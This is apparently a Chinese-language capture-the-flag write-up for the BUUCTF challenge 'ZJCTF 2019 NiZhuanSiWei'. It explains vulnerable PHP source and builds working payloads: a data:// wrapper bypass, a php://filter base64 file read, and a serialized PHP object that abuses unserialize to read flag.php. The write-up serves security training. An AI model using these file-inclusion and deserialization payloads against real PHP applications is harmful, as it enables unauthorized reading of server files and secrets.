buuctf-[ZJCTF 2019]NiZhuanSiWei 1(小宇特详解)
这里打开之后是一段源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password; } }
else{
highlight_file(__FILE__); } ?>
需要通过GET方式传入,text,file,password
isset的作用是检测变量是否已设置并且非null
file_get_contents的作用是将整个文件读入一个字符串
这里将text文件中读取字符串,还要和welcome to the zjctf相等
这里使用的是data://写入协议
第一个payload
?text=data://text/plain,welcome to the zjctf
preg_match("/flag/",$file)
这里不能出现flag字符
但是源码提示了useless.php这里使用php伪协议来读取文件
php://filter/read=convert.base64-encode/resource=useless.php
第二个payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
这里推荐一个我一直在用的解码工具
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这里最后会echo输出$file
将flag.php的值给了$file,然后反序列化
这里用在线php编译器编译一下以下的代码
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
重新构造payload
text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
然后访问源码就找到了flag